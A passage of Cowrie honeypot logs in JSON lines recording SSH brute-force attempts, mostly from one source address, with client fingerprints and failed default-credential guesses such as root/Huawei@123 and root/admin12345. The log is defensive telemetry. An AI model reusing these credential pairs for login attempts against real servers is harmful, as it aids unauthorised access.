{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:09.226580Z","src_ip":"192.109.200.78","session":"b651cb41b943","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"test","message":"login attempt [data/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:09.719872Z","src_ip":"192.109.200.78","session":"b651cb41b943","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:10.804024Z","src_ip":"192.109.200.78","session":"b651cb41b943","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin12345","message":"login attempt [root/admin12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:11.490102Z","src_ip":"27.71.230.31","session":"649d4f6608f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34858,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8b74f7a0faa","protocol":"ssh","message":"New connection: 192.109.200.78:34858 (10.17.0.5:22) [session: a8b74f7a0faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:12.887892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:12.895505Z","src_ip":"192.109.200.78","session":"a8b74f7a0faa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:12.976854Z","src_ip":"192.109.200.78","session":"a8b74f7a0faa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root","message":"login attempt [admin/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:13.221676Z","src_ip":"192.109.200.78","session":"a8b74f7a0faa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:14.305745Z","src_ip":"192.109.200.78","session":"a8b74f7a0faa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:15.063687Z","src_ip":"27.71.230.31","session":"649d4f6608f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34874,"dst_ip":"10.17.0.5","dst_port":22,"session":"786109cef22d","protocol":"ssh","message":"New connection: 192.109.200.78:34874 (10.17.0.5:22) [session: 786109cef22d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:16.256898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:16.261137Z","src_ip":"192.109.200.78","session":"786109cef22d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:16.342372Z","src_ip":"192.109.200.78","session":"786109cef22d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:16.590213Z","src_ip":"192.109.200.78","session":"786109cef22d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:17.694564Z","src_ip":"192.109.200.78","session":"786109cef22d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34896,"dst_ip":"10.17.0.5","dst_port":22,"session":"5695fffb4a4a","protocol":"ssh","message":"New connection: 192.109.200.78:34896 (10.17.0.5:22) [session: 5695fffb4a4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:19.662701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:19.666587Z","src_ip":"192.109.200.78","session":"5695fffb4a4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:19.747285Z","src_ip":"192.109.200.78","session":"5695fffb4a4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1","message":"login attempt [root/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:19.991569Z","src_ip":"192.109.200.78","session":"5695fffb4a4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:21.075688Z","src_ip":"192.109.200.78","session":"5695fffb4a4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39972,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6b00629e8a0","protocol":"ssh","message":"New connection: 192.109.200.78:39972 (10.17.0.5:22) [session: c6b00629e8a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:23.334014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:23.337753Z","src_ip":"192.109.200.78","session":"c6b00629e8a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:23.418648Z","src_ip":"192.109.200.78","session":"c6b00629e8a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@#","message":"login attempt [root/qwe123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:23.667329Z","src_ip":"192.109.200.78","session":"c6b00629e8a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:24.751368Z","src_ip":"192.109.200.78","session":"c6b00629e8a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39980,"dst_ip":"10.17.0.5","dst_port":22,"session":"4826b0a77856","protocol":"ssh","message":"New connection: 192.109.200.78:39980 (10.17.0.5:22) [session: 4826b0a77856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:26.768810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:26.772666Z","src_ip":"192.109.200.78","session":"4826b0a77856","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:26.853652Z","src_ip":"192.109.200.78","session":"4826b0a77856","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome123","message":"login attempt [root/Welcome123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:27.097181Z","src_ip":"192.109.200.78","session":"4826b0a77856","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:28.180545Z","src_ip":"192.109.200.78","session":"4826b0a77856","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39996,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1b91b814e9e","protocol":"ssh","message":"New connection: 192.109.200.78:39996 (10.17.0.5:22) [session: d1b91b814e9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:30.063613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:30.067534Z","src_ip":"192.109.200.78","session":"d1b91b814e9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:30.156615Z","src_ip":"192.109.200.78","session":"d1b91b814e9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"test","message":"login attempt [tester/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:30.404552Z","src_ip":"192.109.200.78","session":"d1b91b814e9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:31.488350Z","src_ip":"192.109.200.78","session":"d1b91b814e9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.521414041519165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:32.119835Z","src_ip":"107.6.151.170","session":"1a8ef4ae7456","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33410,"dst_ip":"10.17.0.5","dst_port":22,"session":"95cf602ce166","protocol":"ssh","message":"New connection: 192.109.200.78:33410 (10.17.0.5:22) [session: 95cf602ce166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:33.419033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:33.422643Z","src_ip":"192.109.200.78","session":"95cf602ce166","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:33.502922Z","src_ip":"192.109.200.78","session":"95cf602ce166","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:33.943851Z","src_ip":"192.109.200.78","session":"95cf602ce166","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:35.027627Z","src_ip":"192.109.200.78","session":"95cf602ce166","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33442,"dst_ip":"10.17.0.5","dst_port":22,"session":"8216a3ba29d0","protocol":"ssh","message":"New connection: 192.109.200.78:33442 (10.17.0.5:22) [session: 8216a3ba29d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:37.135451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:09:37.143210Z","src_ip":"192.109.200.78","session":"8216a3ba29d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-c